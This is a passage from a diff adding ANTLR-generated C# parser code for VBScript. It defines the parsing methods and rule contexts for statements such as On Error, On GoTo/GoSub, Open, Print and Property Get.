typedListener.ExitNameStmt(this); + } + } + + [RuleVersion(0)] + public NameStmtContext nameStmt() { + NameStmtContext _localctx = new NameStmtContext(Context, State); + EnterRule(_localctx, 156, RULE_nameStmt); + try { + EnterOuterAlt(_localctx, 1); + { + State = 1674; + Match(NAME); + State = 1675; + Match(WS); + State = 1676; + valueStmt(0); + State = 1677; + Match(WS); + State = 1678; + Match(AS); + State = 1679; + Match(WS); + State = 1680; + valueStmt(0); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnErrorStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON_ERROR() { return GetToken(VBScriptParser.ON_ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON_LOCAL_ERROR() { return GetToken(VBScriptParser.ON_LOCAL_ERROR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RESUME() { return GetToken(VBScriptParser.RESUME, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEXT() { return GetToken(VBScriptParser.NEXT, 0); } + public OnErrorStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onErrorStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnErrorStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnErrorStmt(this); + } + } + + [RuleVersion(0)] + public OnErrorStmtContext onErrorStmt() { + OnErrorStmtContext _localctx = new OnErrorStmtContext(Context, State); + EnterRule(_localctx, 158, RULE_onErrorStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1682; + _la = TokenStream.LA(1); + if ( !(_la==ON_ERROR || _la==ON_LOCAL_ERROR) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1683; + Match(WS); + State = 1690; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case GOTO: + { + State = 1684; + Match(GOTO); + State = 1685; + Match(WS); + State = 1686; + valueStmt(0); + } + break; + case RESUME: + { + State = 1687; + Match(RESUME); + State = 1688; + Match(WS); + State = 1689; + Match(NEXT); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnGoToStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOTO() { return GetToken(VBScriptParser.GOTO, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public OnGoToStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onGoToStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnGoToStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnGoToStmt(this); + } + } + + [RuleVersion(0)] + public OnGoToStmtContext onGoToStmt() { + OnGoToStmtContext _localctx = new OnGoToStmtContext(Context, State); + EnterRule(_localctx, 160, RULE_onGoToStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1692; + Match(ON); + State = 1693; + Match(WS); + State = 1694; + valueStmt(0); + State = 1695; + Match(WS); + State = 1696; + Match(GOTO); + State = 1697; + Match(WS); + State = 1698; + valueStmt(0); + State = 1709; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,241,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1700; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1699; + Match(WS); + } + } + + State = 1702; + Match(COMMA); + State = 1704; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,240,Context) ) { + case 1: + { + State = 1703; + Match(WS); + } + break; + } + State = 1706; + valueStmt(0); + } + } + } + State = 1711; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,241,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OnGoSubStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ON() { return GetToken(VBScriptParser.ON, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GOSUB() { return GetToken(VBScriptParser.GOSUB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public OnGoSubStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_onGoSubStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOnGoSubStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOnGoSubStmt(this); + } + } + + [RuleVersion(0)] + public OnGoSubStmtContext onGoSubStmt() { + OnGoSubStmtContext _localctx = new OnGoSubStmtContext(Context, State); + EnterRule(_localctx, 162, RULE_onGoSubStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1712; + Match(ON); + State = 1713; + Match(WS); + State = 1714; + valueStmt(0); + State = 1715; + Match(WS); + State = 1716; + Match(GOSUB); + State = 1717; + Match(WS); + State = 1718; + valueStmt(0); + State = 1729; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,244,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1720; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1719; + Match(WS); + } + } + + State = 1722; + Match(COMMA); + State = 1724; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,243,Context) ) { + case 1: + { + State = 1723; + Match(WS); + } + break; + } + State = 1726; + valueStmt(0); + } + } + } + State = 1731; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,244,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OpenStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OPEN() { return GetToken(VBScriptParser.OPEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext[] valueStmt() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode FOR() { return GetToken(VBScriptParser.FOR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode AS() { return GetToken(VBScriptParser.AS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode APPEND() { return GetToken(VBScriptParser.APPEND, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BINARY() { return GetToken(VBScriptParser.BINARY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INPUT() { return GetToken(VBScriptParser.INPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OUTPUT() { return GetToken(VBScriptParser.OUTPUT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RANDOM() { return GetToken(VBScriptParser.RANDOM, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ACCESS() { return GetToken(VBScriptParser.ACCESS, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LEN() { return GetToken(VBScriptParser.LEN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ() { return GetToken(VBScriptParser.READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WRITE() { return GetToken(VBScriptParser.WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode READ_WRITE() { return GetToken(VBScriptParser.READ_WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SHARED() { return GetToken(VBScriptParser.SHARED, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_READ() { return GetToken(VBScriptParser.LOCK_READ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_WRITE() { return GetToken(VBScriptParser.LOCK_WRITE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LOCK_READ_WRITE() { return GetToken(VBScriptParser.LOCK_READ_WRITE, 0); } + public OpenStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_openStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOpenStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOpenStmt(this); + } + } + + [RuleVersion(0)] + public OpenStmtContext openStmt() { + OpenStmtContext _localctx = new OpenStmtContext(Context, State); + EnterRule(_localctx, 164, RULE_openStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1732; + Match(OPEN); + State = 1733; + Match(WS); + State = 1734; + valueStmt(0); + State = 1735; + Match(WS); + State = 1736; + Match(FOR); + State = 1737; + Match(WS); + State = 1738; + _la = TokenStream.LA(1); + if ( !(_la==APPEND || _la==BINARY || ((((_la - 81)) & ~0x3f) == 0 && ((1L << (_la - 81)) & 4507997673881601L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1743; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,245,Context) ) { + case 1: + { + State = 1739; + Match(WS); + State = 1740; + Match(ACCESS); + State = 1741; + Match(WS); + State = 1742; + _la = TokenStream.LA(1); + if ( !(((((_la - 136)) & ~0x3f) == 0 && ((1L << (_la - 136)) & 8796093022211L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + } + State = 1747; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,246,Context) ) { + case 1: + { + State = 1745; + Match(WS); + State = 1746; + _la = TokenStream.LA(1); + if ( !(((((_la - 94)) & ~0x3f) == 0 && ((1L << (_la - 94)) & 288230376151711751L) != 0)) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + break; + } + State = 1749; + Match(WS); + State = 1750; + Match(AS); + State = 1751; + Match(WS); + State = 1752; + valueStmt(0); + State = 1763; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,249,Context) ) { + case 1: + { + State = 1753; + Match(WS); + State = 1754; + Match(LEN); + State = 1756; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1755; + Match(WS); + } + } + + State = 1758; + Match(EQ); + State = 1760; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,248,Context) ) { + case 1: + { + State = 1759; + Match(WS); + } + break; + } + State = 1762; + valueStmt(0); + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OutputListContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public OutputList_ExpressionContext[] outputList_Expression() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public OutputList_ExpressionContext outputList_Expression(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] SEMICOLON() { return GetTokens(VBScriptParser.SEMICOLON); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SEMICOLON(int i) { + return GetToken(VBScriptParser.SEMICOLON, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public OutputListContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_outputList; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOutputList(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOutputList(this); + } + } + + [RuleVersion(0)] + public OutputListContext outputList() { + OutputListContext _localctx = new OutputListContext(Context, State); + EnterRule(_localctx, 166, RULE_outputList); + int _la; + try { + int _alt; + State = 1798; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,259,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 1765; + outputList_Expression(); + State = 1778; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,253,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 1767; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1766; + Match(WS); + } + } + + State = 1769; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1771; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,251,Context) ) { + case 1: + { + State = 1770; + Match(WS); + } + break; + } + State = 1774; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,252,Context) ) { + case 1: + { + State = 1773; + outputList_Expression(); + } + break; + } + } + } + } + State = 1780; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,253,Context); + } + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 1782; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,254,Context) ) { + case 1: + { + State = 1781; + outputList_Expression(); + } + break; + } + State = 1794; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1785; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1784; + Match(WS); + } + } + + State = 1787; + _la = TokenStream.LA(1); + if ( !(_la==COMMA || _la==SEMICOLON) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1789; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,256,Context) ) { + case 1: + { + State = 1788; + Match(WS); + } + break; + } + State = 1792; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,257,Context) ) { + case 1: + { + State = 1791; + outputList_Expression(); + } + break; + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1796; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,258,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class OutputList_ExpressionContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode SPC() { return GetToken(VBScriptParser.SPC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode TAB() { return GetToken(VBScriptParser.TAB, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ArgsCallContext argsCall() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + public OutputList_ExpressionContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_outputList_Expression; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterOutputList_Expression(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitOutputList_Expression(this); + } + } + + [RuleVersion(0)] + public OutputList_ExpressionContext outputList_Expression() { + OutputList_ExpressionContext _localctx = new OutputList_ExpressionContext(Context, State); + EnterRule(_localctx, 168, RULE_outputList_Expression); + int _la; + try { + State = 1817; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,264,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 1800; + _la = TokenStream.LA(1); + if ( !(_la==SPC || _la==TAB) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + State = 1814; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,263,Context) ) { + case 1: + { + State = 1802; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1801; + Match(WS); + } + } + + State = 1804; + Match(LPAREN); + State = 1806; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,261,Context) ) { + case 1: + { + State = 1805; + Match(WS); + } + break; + } + State = 1808; + argsCall(); + State = 1810; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1809; + Match(WS); + } + } + + State = 1812; + Match(RPAREN); + } + break; + } + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 1816; + valueStmt(0); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PrintStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PRINT() { return GetToken(VBScriptParser.PRINT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ValueStmtContext valueStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA() { return GetToken(VBScriptParser.COMMA, 0); } + [System.Diagnostics.DebuggerNonUserCode] public OutputListContext outputList() { + return GetRuleContext(0); + } + public PrintStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_printStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPrintStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPrintStmt(this); + } + } + + [RuleVersion(0)] + public PrintStmtContext printStmt() { + PrintStmtContext _localctx = new PrintStmtContext(Context, State); + EnterRule(_localctx, 170, RULE_printStmt); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 1819; + Match(PRINT); + State = 1820; + Match(WS); + State = 1821; + valueStmt(0); + State = 1832; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,268,Context) ) { + case 1: + { + State = 1823; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1822; + Match(WS); + } + } + + State = 1825; + Match(COMMA); + State = 1830; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,267,Context) ) { + case 1: + { + State = 1827; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,266,Context) ) { + case 1: + { + State = 1826; + Match(WS); + } + break; + } + State = 1829; + outputList(); + } + break; + } + } + break; + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class PropertyGetStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode PROPERTY_GET() { return GetToken(VBScriptParser.PROPERTY_GET, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END_PROPERTY() { return GetToken(VBScriptParser.END_PROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public VisibilityContext visibility() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode STATIC() { return GetToken(VBScriptParser.STATIC, 0); } + [System.Diagnostics.DebuggerNonUserCode] public TypeHintContext typeHint() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ArgListContext argList() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public AsTypeClauseContext asTypeClause() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] INLINE_SEP() { return GetTokens(VBScriptParser.INLINE_SEP); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INLINE_SEP(int i) { + return GetToken(VBScriptParser.INLINE_SEP, i); + } + public PropertyGetStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_propertyGetStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterPropertyGetStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitPropertyGetStmt(this); + } + } + + [RuleVersion(0)] + public PropertyGetStmtContext propertyGetStmt() { + PropertyGetStmtContext _localctx = new PropertyGetStmtContext(Context, State); + EnterRule(_localctx, 172, RULE_propertyGetStmt); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 1837; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 70)) & ~0x3f) == 0 && ((1L << (_la - 70)) & 2449958197289549841L) != 0)) { + { + State = 1834; + visibility(); + State = 1835; + Match(WS); + } + } + + State = 1841; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==STATIC) { + { + State = 1839; + Match(STATIC); + State = 1840; + Match(WS); + } + } + + State = 1843; + Match(PROPERTY_GET); + State = 1844; + Match(WS); + State = 1845; + ambiguousIdentifier(); + State = 1847; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (((((_la - 181)) & ~0x3f) == 0 && ((1L << (_la - 181)) & 1050917L) != 0)) { + { + State = 1846; + typeHint(); + } + } + + State = 1853; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,273,Context) ) { + case 1: + { + State = 1850; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1849; + Match(WS); + } + } + + State = 1852; + argList(); + } + break; + } + State = 1857; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 1855; + Match(WS); + State = 1856; + asTypeClause(); + } + } + + State = 1860; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 1859; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } + else { + ErrorHandler.ReportMatch(this); + Consume(); + } + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 1862; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,275,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + State = 1870; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if ((((_la) & ~0x3f) == 0 && ((1L << _la) & -216067229064628226L) != 0) || ((((_la - 64)) & ~0x3f) == 0 && ((1L << (_la - 64)) & -270216225676591105L) != 0) || ((((_la - 131)) & ~0x3f) == 0 && ((1L << (_la - 131)) & 361413870062927807L) != 0) || ((((_la - 208)) & ~0x3f) == 0 && ((1L << (_la - 208)) & 37889L) != 0)) { + { + State = 1864; + block(); + State = 1866; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 1865; + _la = TokenStream.LA(1); + if ( !(_la==NEWLINE || _la==INLINE_SEP) ) { + ErrorHandler.RecoverInline(this); + } 